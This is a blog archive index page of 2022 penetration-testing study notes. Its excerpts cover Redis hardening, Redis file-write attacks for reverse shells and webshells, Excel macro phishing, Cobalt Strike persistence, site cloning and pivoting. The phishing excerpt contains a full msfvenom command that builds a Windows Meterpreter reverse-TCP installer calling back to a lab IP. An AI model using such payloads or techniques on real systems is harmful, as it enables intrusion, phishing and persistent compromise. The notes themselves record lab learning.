归档: 2022 | Broken-year

2022

03

19

redis安全策略

redis基本安全策略最好不要用root用户启动redis 单独为redis设置一个账号设置本地localhost不允许外部访问 redis保护模式protected-mode开启（默认开启）端口修改为其他端口（默认为6379） req

2022-03-19 数据库

网络安全渗透测试 kali 数据库 Ubuntu redis

19

redis-keys

redis和秘钥登录ubuntu redis的未授权访问是很危险的，需要打开密码功能 cd /etc/redis //进入redis nano redis.conf //打开配置文件在配置文件中加入 requirepass h

2022-03-19 数据库

网络安全渗透测试 kali 数据库 Ubuntu redis

19

redis写文件

redis数据库写入文件计划任务反弹shell（ubuntu不能，centos）写入一句话木马 ==在kali里面测试== 打开redis数据库 keys * set haha "\n\n

2022-03-19 数据库

网络安全渗透测试 Linux kali 数据库 Ubuntu redis CentOS

18

Redis部署

Redis部署 redis数据库属于nosql系列的数据库，缓存类，支持数据持久化，擅长把内存数据直接读取关系型数据库 Ubuntu上安装==redis服务器安装== wget http://do

2022-03-18 数据库

网络安全渗透测试 kali 数据库 Ubuntu redis

18

内网和域

内网和域windows域环境企业中的内网中，经常使用windows server 工作组work group 最简单的资源管理-工作站（组内的主机）域Domain 一般来说是计算机内网的一种形式域控，对多台主机进行控制有权利给

2022-03-18 环境搭建

网络安全 windows 域内网

18

钓鱼攻击

钓鱼攻击Excel宏钓鱼在kali里生成一个木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f msi -o hack.msi

2022-03-18 网络安全

网络安全工具使用内网渗透 msf cs

17

多层连接

多层连接 hack(192.168.3.134)—(192.168.3.133)server1(172.16.1.101)—(172.16.1.102)server2 多层正向连接生成一个新的tcp监听器生成一个exe文件，把

2022-03-17 网络安全

网络安全工具使用内网渗透 cs

16

cs-权限维持

cs-权限维持权限维持（windows）可以使用注册表或者启动项，计划任务，服务，shift，放大镜功能，各种劫持或者利用各种安装的软件实例 Attacks->Packages->Windows Executable (

2022-03-16 网络安全

网络安全工具使用内网渗透 cs

16

cs自动克隆网站

Clonesite自动克隆网站内容 Attacks->HTML Application 会生成一个elil.html文件保存下来，然后打开Attacks->Web Drive-by->Host File 点击

2022-03-16 网络安全

网络安全工具使用内网渗透 cs

15

cs-aggresor脚本使用

Aggresor脚本 .cna后缀的 -Aggressor Script Sleep语言在View->Script Console $ = 变量 @ = 数组 % = 字典演示在/root目录下新建一个文件1.c

2022-03-15 网络安全

网络安全工具使用内网渗透 cs